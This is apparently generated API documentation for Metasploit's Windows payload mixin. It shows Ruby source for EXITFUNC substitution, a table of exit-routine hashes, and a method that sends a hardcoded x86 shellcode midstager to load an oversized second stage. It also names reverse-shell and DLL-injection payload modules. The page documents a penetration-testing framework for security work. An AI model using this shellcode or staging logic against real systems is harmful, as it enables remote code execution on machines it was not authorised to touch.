Module: Msf::Payload::Windows

Includes:
PrependMigrate
Included in:
AddrLoader_x64, BindNamedPipe, BindNamedPipe_x64, BindTcp, BindTcp_x64, DllInject, EncryptedReverseTcp, Exec, Exec_x64, LoadLibrary, MeterpreterLoader, MeterpreterLoader_x64, MigrateCommon, MigrateCommon_x64, ReflectiveDllInject, ReflectiveDllInject_x64, ReverseHttp, ReverseHttp_x64, ReverseNamedPipe, ReverseNamedPipe_x64, ReverseTcp, ReverseTcp_x64
Defined in:
lib/msf/core/payload/windows.rb

Overview

This class is here to implement advanced variable substitution for windows-based payloads, such as EXITFUNC. Windows payloads are expected to include this module if they want advanced variable substitution.

Defined Under Namespace

Modules: AddrLoader_x64, BindNamedPipe, BindNamedPipe_x64, BindTcp, BindTcpRc4, BindTcpRc4_x64, BindTcp_x64, BlockApi, BlockApi_x64, DllInject, EncryptedPayloadOpts, EncryptedReverseTcp, Exec, Exec_x64, Exitfunk, Exitfunk_x64, LoadLibrary, MeterpreterLoader, MeterpreterLoader_x64, MigrateCommon, MigrateCommon_x64, MigrateHttp, MigrateHttp_x64, MigrateNamedPipe, MigrateNamedPipe_x64, MigrateTcp, MigrateTcp_x64, PEInject, PayloadDBConf, Powershell, PrependMigrate, Rc4, Rc4_x64, ReflectiveDllInject, ReflectiveDllInject_x64, ReflectivePELoader, ReflectivePELoader_x64, ReverseHttp, ReverseHttp_x64, ReverseHttps, ReverseHttps_x64, ReverseNamedPipe, ReverseNamedPipe_x64, ReverseTcp, ReverseTcpDns, ReverseTcpRc4, ReverseTcpRc4Dns, ReverseTcpRc4_x64, ReverseTcp_x64, ReverseUdp, ReverseWinHttp, ReverseWinHttp_x64, ReverseWinHttps, ReverseWinHttps_x64, SendUUID, SendUUID_x64, VerifySsl

Constant Summary collapse

@@exit_types =

ROR hash associations for some of the exit technique routines.

{
  nil       => 0,          # Default to nothing
  ''        => 0,          # Default to nothing
  'seh'     => 0xEA320EFE, # SetUnhandledExceptionFilter
  'thread'  => 0x0A2A1DE0, # ExitThread
  'process' => 0x56A2B5F0, # ExitProcess
  'none'    => 0x5DE2C5AA  # GetLastError
}

Class Method Summary collapse

Instance Method Summary collapse

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Class Method Details

.exit_types ⇒ Object

Share the EXITFUNC mappings with other classes



155
156
157
 
# File 'lib/msf/core/payload/windows.rb', line 155

def self.exit_types
  @@exit_types.dup
end

Instance Method Details

#apply_prepends(raw) ⇒ Object

Implement payload prepends for Windows payloads



38
39
40
 
# File 'lib/msf/core/payload/windows.rb', line 38

def apply_prepends(raw)
  apply_prepend_migrate(raw)
end

#handle_intermediate_stage(conn, payload) ⇒ Object

For windows, we check to see if the stage that is being sent is larger than a certain size. If it is, we transmit another stager that will ensure that the entire stage is read in.



100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
 
# File 'lib/msf/core/payload/windows.rb', line 100

def handle_intermediate_stage(conn, payload)
  if( self.module_info['Stager']['RequiresMidstager'] == false )
    conn.put( [ payload.length ].pack('V') )
    # returning false allows stager.rb!handle_connection() to prepend the stage_prefix if needed
    return false
  end

  return false if (payload.length < 512)

  # The mid-stage works by reading in a four byte length in host-byte
  # order (which represents the length of the stage). Following that, it
  # reads in the entire second stage until all bytes are read. It reads the
  # data into a buffer which is allocated with VirtualAlloc to avoid running
  # out of stack space or NX problems.
  # See the source file: /external/source/shellcode/windows/midstager.asm
  midstager =
    "\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b\x12\x8b" +
    "\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32\x0f\x85\xeb\xff" +
    "\xff\xff\x8b\x6a\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c\x0d\x1c" +
    "\x01\xe9\x8b\x71\x3c\x01\xee\x60\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b" +
    "\x5b\x14\x8b\x73\x28\x6a\x18\x59\x31\xff\x31\xc0\xac\x3c\x61\x7c" +
    "\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a" +
    "\x8b\x6b\x10\x8b\x1b\x75\xdb\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
    "\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0" +
    "\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x81\xfa\x54" +
    "\xca\xaf\x91\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
    "\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x08\x61\x89\xe3\x6a" +
    "\x00\x6a\x04\x53\x57\xff\xd6\x8b\x1b\x6a\x40\x68\x00\x30\x00\x00" +
    "\x53\x6a\x00\xff\xd5\x89\xc5\x55\x6a\x00\x53\x55\x57\xff\xd6\x01" +
    "\xc5\x29\xc3\x85\xdb\x75\xf1\xc3"

  # Prepend the stage prefix as necessary, such as a tag that is needed to
  # find the socket
  midstager = (self.stage_prefix || '') + midstager

  print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")

  # Transmit our intermediate stager
  conn.put(midstager)

  # Sleep to give enough time for the remote side to receive and read the
  # midstage so that we don't accidentally read in part of the second
  # stage.
  Rex::ThreadSafe.sleep(1.5)

  # The mid-stage requires that we transmit a four byte length field that
  # it will use as the length of the subsequent stage.
  conn.put([ payload.length ].pack('V'))

  return true
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



163
164
165
 
# File 'lib/msf/core/payload/windows.rb', line 163

def include_send_uuid
  false
end

#initialize(info = {}) ⇒ Object

This mixin is chained within payloads that target the Windows platform. It provides special variable substitution for things like EXITFUNC and automatically adds it as a required option for exploits that use windows payloads. It also provides the migrate prepend.



48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
 
# File 'lib/msf/core/payload/windows.rb', line 48

def initialize(info = {})
  ret = super( info )

  # All windows payload hint that the stack must be aligned to nop
  # generators and encoders.
  if( info['Arch'] == ARCH_X64 )
    if( info['Alias'] )
      info['Alias'] = 'windows/x64/' + info['Alias']
    end
    merge_info( info, 'SaveRegisters' => [ 'rsp' ] )
  elsif( info['Arch'] == ARCH_X86 )
    if( info['Alias'] )
      info['Alias'] = 'windows/' + info['Alias']
    end
    merge_info( info, 'SaveRegisters' => [ 'esp' ] )
  end

  #if (info['Alias'])
  #	info['Alias'] = 'windows/' + info['Alias']
  #end


  acceptable_exit_types = @@exit_types.keys.collect { |e| e.blank? ? "''" : e }.uniq

  register_options(
    [
      Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', acceptable_exit_types])
    ], Msf::Payload::Windows )
  ret
end

#replace_var(raw, name, offset, pack) ⇒ Object

Replace the EXITFUNC variable like madness



82
83
84
85
86
87
88
89
90
91
92
93
 
# File 'lib/msf/core/payload/windows.rb', line 82

def replace_var(raw, name, offset, pack)
  if (name == 'EXITFUNC')
    method = datastore[name]
    method = 'thread' if (!method or @@exit_types.include?(method) == false)

    raw[offset, 4] = [ @@exit_types[method] ].pack(pack || 'V')

    return true
  end

  return false
end